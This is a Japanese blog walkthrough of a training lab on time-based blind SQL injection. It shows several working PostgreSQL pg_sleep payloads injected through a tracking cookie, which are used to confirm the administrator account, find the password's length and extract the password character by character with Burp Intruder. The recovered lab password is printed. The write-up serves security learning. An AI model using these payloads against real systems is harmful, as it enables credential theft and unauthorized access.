shikata ga nai

Private? There is no such things.

Blind SQL injection with time delays and information retrievalをやってみた

Hello there, ('ω')ノ

 

時間遅延と情報検索を伴うブラインドSQLインジェクションを。

 

このラボには、ブラインドSQLインジェクションの 脆弱性があって。

トラッキングCookieを使用してSQLクエリを実行して。

時間遅延をトリガーして情報を推測することができて。

 

まずは、ページにアクセスして。

 

f:id:ThisIsOne:20210503125836p:plain

 

リクエストをリピータへ。

 

f:id:ThisIsOne:20210503125816p:plain

 

下記のSQLクエリに置き換えてSendすると。

レスポンスに10秒かかることがわかって。

 

TrackingId=x'%3BSELECT+CASE+WHEN+(1=1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--;

 

f:id:ThisIsOne:20210503125951p:plain

 

下記のクエリに変更すると遅延なしでレスポンスが返ってくるので。

条件文が正常に機能していることが確認できて。

 

TrackingId=x'%3BSELECT+CASE+WHEN+(1=2)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END--;

 

f:id:ThisIsOne:20210503130204p:plain

 

下記のクエリだと遅延が発生するのでテーブルとユーザ名が存在することが言えて。

 

TrackingId=TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator')+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;

f:id:ThisIsOne:20210503130640p:plain

 

次のクエリでパスワードの文字数を確認することに。

レスポンス時間で真偽を判定することに。

 

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>1)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;

 

f:id:ThisIsOne:20210503130814p:plain

 

下記のクエリだとレスポンスに遅延がなかったので。

パスワードの文字数は20だとわかって。

 

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+LENGTH(password)>20)+THEN+pg_sleep(10)+ELSE+pg_sleep(0)+END+FROM+users--;

 

f:id:ThisIsOne:20210503130940p:plain

 

クエリを下記に変更してIntruderへ。

 

TrackingId=x'%3BSELECT+CASE+WHEN+(username='administrator'+AND+SUBSTRING(password,1,1)='a')+THEN+pg_sleep(3)+ELSE+pg_sleep(0)+END+FROM+users--;

 

f:id:ThisIsOne:20210503131200p:plain

 

下記のように設定して、パスワードから1文字を抽出して位置と値を照合することに。

 

f:id:ThisIsOne:20210503131941p:plain


位置の設定を1~20に。

 

f:id:ThisIsOne:20210503131358p:plain

 

照合する文字を0~9とa~zに。

 

f:id:ThisIsOne:20210503131430p:plain

 

プロセスの信頼性を可能な限り高めるために。

スレッドを1に変更して要求を発行することにしてStart attackを。

 

f:id:ThisIsOne:20210503131819p:plain 

結果よりパスワードは下記のとおりで。

 mtfcqfgvv2m09uz5kwue

 

f:id:ThisIsOne:20210503133842p:plain

 

ログインしてみると。

 

f:id:ThisIsOne:20210503133755p:plain

 

クリアできた。

 

f:id:ThisIsOne:20210503133811p:plain

 

Best regards, (^^ゞ

ひとりひとりの自覚をもった行動で、医療従事者と保健所職員を助けよう。

f:id:ThisIsOne:20200404115457p:plain